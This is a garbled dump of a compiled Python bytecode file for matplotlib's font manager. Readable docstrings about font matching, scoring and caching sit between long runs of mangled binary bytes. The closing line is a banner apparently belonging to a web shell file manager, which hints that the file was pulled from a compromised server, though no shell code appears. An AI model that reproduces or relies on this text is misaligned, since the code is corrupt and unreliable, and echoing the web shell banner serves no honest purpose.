    matches the specification.  If no good enough match is found, the default
    font is returned.
    iJNc��|j|_||_||_dD�cgc]}t	j
d|���}}tjdt|��ddd�|_	g|_
g|_tjdd��}|j�	d	D]4}gt||�
��t|�
��D]}	|j!|���6	|j)�ycc}w#t"$r!}tj%d||�Yd}~�Ud}~wt&$r!}tj%d||�Yd}~�}d}~wwxYw#|j)�wxYw)
N)rGrD�pdfcorefontsrBzfont search path %szDejaVu Sans�	Helvetica)rGrD�c�,�tjd�S)Nz>Matplotlib is building the font cache; this may take a moment.)r�r�rHrMrKr�z&FontManager.__init__.<locals>.<lambda>Is��4�<�<�L�,N�rM)rDrGrIzFailed to open font file %s: %sz-Failed to extract font properties from %s: %s)�__version__�_version�_FontManager__default_weight�default_sizer
�_get_data_pathr��debugrw�
defaultFamily�afmlist�ttflist�	threading�Timer�startr��addfontrlrl�	Exception�cancel)	r�r�r��subdir�paths�timerrJrV�excs	         rKr+zFontManager.__init__6s]���(�(��
� &��� ��� >�?���%�%�g�v�6�?��?��
�
�(�#�e�*�5�!�� �������������$N�O��
���
�	�)�	
3��@�o�e�W�E�@�-�g�>�@�3�D�3����T�*�3�	
3�
�L�L�N��7?��*#�P��	�	�"C�T�3�O�O��$�3��	�	�#'�(,�c�3�3��3��
�L�L�N�sM�C-�"#E�C2�E�2	E�;D�E�E�#D?�:E�?E�E�Ec���tj|�}t|�jj	�dk(rRt|d�5}t
j|�}ddd�t|�}|jj|�n;tj|�}t|�}|jj|�|jj!�y#1swY��xYw)z�
        Cache the properties of the font at *path* to make it available to the
        `FontManager`.  The type of font is inferred from the path suffix.

        Parameters
        ----------
        path : str or path-like
        z.afm�rbN)rTr�rrZr[r�r	�AFMrr��appendr�FT2Fontrr��_findfont_cached�cache_clear)r�rVr�r��props     rKr�zFontManager.addfontZs����{�{�4� ����:���"�"�$��.��d�D�!�
$�R��x�x��|��
$�"�4��.�D��L�L����%��?�?�4�(�D�"�4�(�D��L�L����%����)�)�+�
$�
$�s�C$�$C-c	��|jj�D��cic]\}}||j||����c}}Scc}}w)NrI)r�r~rG)r�r^r)s   rK�defaultFontzFontManager.defaultFontqsI��
$(�#5�#5�#;�#;�#=�?��C���T�]�]�6�3�]�7�7�?�	?��?s�Ac��|jS)z1
        Return the default font weight.
        �r�r�s rK�get_default_weightzFontManager.get_default_weightxs���$�$�$rMc�(�tjdS)z/
        Return the default font size.
        re�rYrZrHrMrKrjzFontManager.get_default_size~s��
�|�|�K�(�(rMc��||_y)zN
        Set the default font weight.  The initial value is 'normal'.
        Nr�r`s  rK�set_default_weightzFontManager.set_default_weight�s��!'��rMc�:�|dvrd}tjd|zS)N)r:r?r@zfont.r�)r)s rK�_expand_aliaseszFontManager._expand_aliases�s$���+�+�!�F��|�|�G�f�,�-�-rMc��t|ttf�s|g}nt|�dk(ry|j	�}dt|�z}t|�D]�\}}|j	�}|tvrWgttj|j|���}||vs�N|j|�}||t|�zz|zcS||k(s�{||zcSy)a&
        Return a match score between the list of font families in
        *families* and the font family name *family2*.

        An exact match at the head of the list returns 0.0.

        A match further down the list will return between 0 and 1.

        No match will return 1.0.
        rrrp)rvrur2�lenr[�	enumerate�font_family_aliasesr�rwr��index)r��families�family2�step�i�family1�options�idxs        rK�score_familyzFontManager.score_family�s����(�T�5�M�2� �z�H�
��]�a�
���-�-�/���3�x�=� ��#�H�-�
	 �J�A�w��m�m�o�G��-�-�J�C��	�	�4�+?�+?��+H�I�J���g�%�!�-�-��0�C���s�7�|�!3�4��<�<��G�#��4�x��
	 �rMc�"�||k(ry|dvr|dvryy)z�
        Return a match score between *style1* and *style2*.

        An exact match returns 0.0.

        A match between 'italic' and 'oblique' returns 0.1.

        No match returns 1.0.
        �)r�r�g�������?rrH)r��style1�style2s   rK�score_stylezFontManager.score_style�s'���V����-�-��1�1��rMc��||k(ryy)z}
        Return a match score between *variant1* and *variant2*.

        An exact match returns 0.0, otherwise 1.0.
        r�rrH)r��variant1�variant2s   rK�
score_variantzFontManager.score_variant�s���x���rMc���	t|�}	t|�}t	||z
�dzS#t$rtj|d�}Y�>wxYw#t$rtj|d�}Y�WwxYw)z�
        Return a match score between *stretch1* and *stretch2*.

        The result is the absolute value of the difference between the
        CSS numeric values of *stretch1* and *stretch2*, normalized
        between 0.0 and 1.0.
        rg@�@)rr�rcr�abs)r��stretch1�stretch2�stretchval1�stretchval2s     rK�
score_stretchzFontManager.score_stretch�sz��	:��h�-�K�	:��h�-�K��;��,�-��6�6��
�	:�&�*�*�8�S�9�K�	:���	:�&�*�*�8�S�9�K�	:�s �*�A�A�A�A1�0A1c���tj||�ryt|t�r|nt|}t|t�r|nt|}dt||z
�dzzdzS)ah
        Return a match score between *weight1* and *weight2*.

        The result is 0.0 if both weight1 and weight 2 are given as strings
        and have the same value.

        Otherwise, the result is the absolute value of the difference between
        the CSS numeric values of *weight1* and *weight2*, normalized between
        0.05 and 1.0.
        r�gffffff�?r7g�������?)r
�
_str_equalrvrrr�)r��weight1�weight2�w1�w2s     rK�score_weightzFontManager.score_weight�s^�����G�W�-��"�7�F�3�W��W�9M��"�7�F�3�W��W�9M���s�2��7�|�d�*�+�d�2�2rMc���|dk(ry	t|�}	t|�}t	||z
�dzS#t$r|jt|z}Y�>wxYw#t$rYywxYw)a�
        Return a match score between *size1* and *size2*.

        If *size2* (the size specified in the font file) is 'scalable', this
        function always returns 0.0, since any font size can be generated.

        Otherwise, the result is the absolute distance between *size1* and
        *size2*, normalized so that the usual range of font sizes (6pt -
        72pt) will lie between 0.0 and 1.0.
        r�r�r�H)rgr�r�rhr�)r��size1�size2�sizeval1�sizeval2s     rK�
score_sizezFontManager.score_size�s~���J���	@��U�|�H�	��U�|�H��8�h�&�'�"�,�,��
�	@��(�(�=��+?�?�H�	@���	��	�s �0�A�A�A�	A!� A!c�z�td�dD��}|j||||||�}t|t�r|�|S)a�
        Find a font that most closely matches the given font properties.

        Parameters
        ----------
        prop : str or `~matplotlib.font_manager.FontProperties`
            The font properties to search for. This can be either a
            `.FontProperties` object or a string defining a
            `fontconfig patterns`_.

        fontext : {'ttf', 'afm'}, default: 'ttf'
            The extension of the font file:

            - 'ttf': TrueType and OpenType fonts (.ttf, .ttc, .otf)
            - 'afm': Adobe Font Metrics (.afm)

        directory : str, optional
            If given, only search this directory and its subdirectories.

        fallback_to_default : bool
            If True, will fall back to the default font family (usually
            "DejaVu Sans" or "Helvetica") if the first lookup hard-fails.

        rebuild_if_missing : bool
            Whether to rebuild the font cache and search again if the first
            match appears to point to a nonexisting font (i.e., the font cache
            contains outdated entries).

        Returns
        -------
        str
            The filename of the best matching font.

        Notes
        -----
        This performs a nearest neighbor search.  Each font is given a
        similarity score to the target font properties.  The first font with
        the highest score is returned.  If no matches below a certain
        threshold are found, the default font (usually DejaVu Sans) is
        returned.

        The result is cached, so subsequent lookups don't have to
        perform the O(n) nearest neighbor search.

        See the `W3C Cascading Style Sheet, Level 1
        <http://www.w3.org/TR/1998/REC-CSS2-19980512/>`_ documentation
        for a description of the font finding algorithm.

        .. _fontconfig patterns:
           https://www.freedesktop.org/software/fontconfig/fontconfig-user.html
        c3�TK�|] }ttj|����"y�wr�)r2rYrZ)r�r�s  rKr�z'FontManager.findfont.<locals>.<genexpr>As"�����s�%����S� 1�2��s�&()z
font.serifzfont.sans-serifzfont.cursivezfont.fantasyzfont.monospace)r2r�rvr�)r�r�rJr\�fallback_to_default�rebuild_if_missing�	rc_params�rets        rKrGzFontManager.findfont	sV��p��?���	��#�#��'�9�&9�;M�����c�9�%��I��
rMc�x�tt|jD�cgc]}|j��c}��Scc}w)z#Return the list of available fonts.)rurqr�r�)r�r�s  rK�get_font_nameszFontManager.get_font_namesKs(���C�t�|�|�<�t����<�=�>�>��<s�7c��tj|�}g}|j�D]I}|j�}|j	|�	|j|j
|||d|����K|sd|rW|j|}	|j�}|j	|	�|j|j
|||d|���|Std��|S#t$rX|tvr6tjd|dj|j|���ntjd|�Y��wxYw)as
        Find font families that most closely match the given properties.

        Parameters
        ----------
        prop : str or `~matplotlib.font_manager.FontProperties`
            The font properties to search for. This can be either a
            `.FontProperties` object or a string defining a
            `fontconfig patterns`_.

        fontext : {'ttf', 'afm'}, default: 'ttf'
            The extension of the font file:

            - 'ttf': TrueType and OpenType fonts (.ttf, .ttc, .otf)
            - 'afm': Adobe Font Metrics (.afm)

        directory : str, optional
            If given, only search this directory and its subdirectories.

        fallback_to_default : bool
            If True, will fall back to the default font family (usually
            "DejaVu Sans" or "Helvetica") if none of the families were found.

        rebuild_if_missing : bool
            Whether to rebuild the font cache and search again if the first
            match appears to point to a nonexisting font (i.e., the font cache
            contains outdated entries).

        Returns
        -------
        list[str]
            The paths of the fonts found

        Notes
        -----
        This is an extension/wrapper of the original findfont API, which only
        returns a single font for given font properties. Instead, this API
        returns a dict containing multiple fonts and their filepaths
        which closely match the given font properties.  Since this internally
        uses the original API, there's no change to the logic of performing the
        nearest neighbor search.  See `findfont` for more details.
        F)rr�[findfont: Generic family %r not found because none of the following families were found: %srfz#findfont: Font family %r not found.TzFFailed to find any font, and fallback to the default font was disabled)rr0r3r�r r�rGr�r�r�r�rXr�r�)
r�r�rJr\rr�fpathsr)�cprop�dfamilys
          rK�_find_fonts_by_propsz FontManager._find_fonts_by_propsOsT��Z�'�'��-�����o�o�'�	P�F��I�I�K�E����V�$�
P��
�
��M�M��w�	�,1�+=�"���	P�0�"��,�,�W�5���	�	���� � ��)��
�
��M�M��w�	�,0�+=�"����
�!�"D�E�E��
��9�
P��0�0��L�L�H���	�	�$�*>�*>�v�*F� G���L�L�!F��O��
P�s�
%C�AD=�<D=ic
��tj|�}|j�}|�|S|dk(r
|j}n|j}d}	d}
t
j
d|�|D�][}|�+t|�t|j�jvr�1|j|j�|j�dz|j|j�|j�z|j!|j#�|j$�z|j'|j)�|j*�z|j-|j/�|j0�z|j3|j5�|j6�z}t
j
d||�||	kr|}	|}
|dk(s��\n|
�|	dk\r�|r�t
j9d|j�|j:|�t=t>j@|j��D]@}
|
tBvs�t
j9d	|
d
jE|jG|
����B|jI�}|jK|j:|�|jM|||d��StOd
|�d��St
j
d||
j|
j|	�|
j}tPjRjU|�sf|rYt
jWd�tYd��}t[|�j]t[|��|jM|||d��StOd�St_|�S)NrDg��?�O8Mzfindfont: Matching %s.�
zfindfont: score(%s) = %srg$@z7findfont: Font family %s not found. Falling back to %s.rrfF)rzFailed to find font z/, and fallback to the default font was disabledz2findfont: Matching %s to %s (%r) with score of %f.z7findfont: Found a missing font file.  Rebuilding cache.��try_read_cache)rzNo valid font could be found)0rr0r8r�r�r�r�rr��parentsr�r3r�r�rKr�r�r5r�r�r�r�r�r6r�rr7r�r�r�r�rwr[r�rXr�r�r rGr�rTrVrWrl�_load_fontmanager�varsr��_cached_realpath)r�r�rJr\rrrr��fontlist�
best_score�	best_fontr��scorer)�default_prop�result�new_fms                 rKr�zFontManager._findfont_cached�s6���'�'��-���
�
������L��e���|�|�H��|�|�H��
��	��
�
�+�T�2��	�D��%���O�4��
�
�+;�+C�+C�C���&�&�t���'8�$�)�)�D�r�I��'�'����(8�$�*�*�E�F��)�)�$�*:�*:�*<�d�l�l�K�L��(�(����):�D�K�K�H�I��)�)�$�*:�*:�*<�d�l�l�K�	L�
���t�}�}���	�	�B�C�E�
�J�J�1�4��?��z�!�"�
� �	���z��!	�$��
�d� 2�"����M��O�O�%�t�'9�'9�'�'B�D�"�#�)�)�T�_�_�->�?�M�F��!4�4����L�"�D�I�I�d�.B�.B�6�.J�$K�M�M� $�y�y�{���'�'��(:�(:�7�(C�D��}�}�\�7�I�9>�%�@�@�"�$8���?E�#F�G�G�
�J�J�K��Y�^�^�Y�_�_�j�
J��_�_�F��w�w�~�~�f�%�!��	�	�M�O�*�%�@��
�T�
�!�!�$�v�,�/��}�}��'�9��%�H�H�"�"@�A�A���'�'rM)Nr )rGNTT)r�r�r�r�r�r+r��propertyr�r��staticmethodrjr�r�r�r�r�r�r�rrGr
rrr�rHrMrKriri)s�����K�"�H,�.�?��?�%��)��)�'��.��.��<�"	�7�$3�$-�07;�>B�@�D?�CG�JN�X�t�t�_�P(��P(rMric���tjj|�dj�dk(r*t	|d�5}|jd�dk(cddd�Sy#1swYyxYw)z�
    Return whether the given font is a Postscript Compact Font Format Font
    embedded in an OpenType wrapper.  Used by the PostScript and PDF backends
    that can not subset these fonts.
    rpz.otfr�r�sOTTONF)rTrV�splitextr[r��read)r_�fds  rK�is_opentype_cff_fontr&�sd��
�w�w����!�!�$�*�*�,��6�
�(�D�
!�	)�R��7�7�1�:��(�	)�	)��	)�	)�s�A�A(�@c��|^}}tj|||D�cgc]}tj|||����c}|��Scc}w)N)�_kerning_factor)�_fallback_listr))rr�)�font_filepaths�hinting_factorr)�	thread_id�first_fontpath�rest�fpaths       rK�	_get_fontr1sW��*��N�T��?�?����
�
�	
�O�O��~� /�
�
�(�
�
��
s�A�register_at_fork)�after_in_childc�@�tjj|�Sr�)rTrV�realpath)rVs rKrr$s���7�7���D�!�!rMz3.6�filepathr+c��t|tttf�r
t	|�f}ntd�|D��}|�tjd}t||tjdtj���S)a=
    Get an `.ft2font.FT2Font` object given a list of file paths.

    Parameters
    ----------
    font_filepaths : Iterable[str, Path, bytes], str, Path, bytes
        Relative or absolute paths to the font files to be used.

        If a single string, bytes, or `pathlib.Path`, then it will be treated
        as a list with that entry only.

        If more than one filepath is passed, then the returned FT2Font object
        will fall back through the fonts, in the order given, to find a needed
        glyph.

    Returns
    -------
    `.ft2font.FT2Font`

    c3�2K�|]}t|����y�wr�)r)r�r�s  rKr�zget_font.<locals>.<genexpr>Ds����J�%�&�u�-�J�s�ztext.hinting_factorztext.kerning_factor)r)r-)rvrwr�bytesrr2rYrZr1r��	get_ident)r+r,r�s   rKrFrF+ss��,�.�3��e�"4�5�!�.�1�3���J�>�J�J�������&;�<���
�����%:�;��%�%�'�
�rMTrc�r�ttj�dtj�d��}|rJ	t|�}t
|dt��tjk(rtjd|�|St�}t||�tjd�|S#t$rY�8wxYw)Nz
fontlist-vz.jsonr�z"Using fontManager instance from %szgenerated new fontManager)
rrY�get_cachedirrir�r�rv�objectr�r�r�r�rl)r�fm_path�fms   rKrrSs��������j��)@�)@�(A��G�I�G��	��7�#�B��r�:�v�x�0�K�4K�4K�K��
�
�?��I��	�	��B�
�b�'���I�I�)�*�
�I���	��	�s�B*�*	B6�5B6)NrG)rGr�)Wr��base64rr��dataclasses�	functoolsr�iorr��logging�numbersrrT�pathlibrr�r�rQr��
matplotlibrYrr	r
r�matplotlib._fontconfig_patternrr
�matplotlib.rcsetupr�	getLoggerr�r�rhrcrr�r��home�_HOMEr��devnullrjrrrwr�rmrr�r�rLrcrSr��
deprecatedr�r�r�r�r�r�r��make_dataclass�fieldr�rrr�JSONEncoderr�r�r�r�rir&r1�hasattrr2r�r�rename_parameterrFr�fontManagerrGr
rHrMrK�<module>rUs?��
�2��������	��	��
���1�1�;�*��w����"�������������
���������������� ���������������� ��6����D�I�I�K�E�H�
�:�6�8����7�7�8���9�9�:���$����/���b�j�j�n�n�_�-�G���1G�	H�
�	��������� �������� ���
�@�$;�",�`������K��K�6�@��
D�
�
D�������/��/�C�B�?�
'�K�&�&��	�#�(�{�(�(��4�5�	��'�k�'�'��3�4�	�#�(�{�(�(��:�;�	�C�*��*�*�8�<�=�	�3�)��)�)�(�;�<�	�C�*��*�*�8�<�=�	��'�k�'�'��9�:���
F�C��
�	�,|N�~AL�Hx"�x"�v&�4�#�#�&�$M�$K�0	7�Q(�Q(�h��
�
�
��2�����(�2�!�"��B���y�'<�'<�=��2��"��"�����u�j�*:�;�$�<�$�N)-��$ �!�������+�+���E/�������E��s�,K8�8L�L

Youez - 2016 - github.com/yon3zu
LinuXploit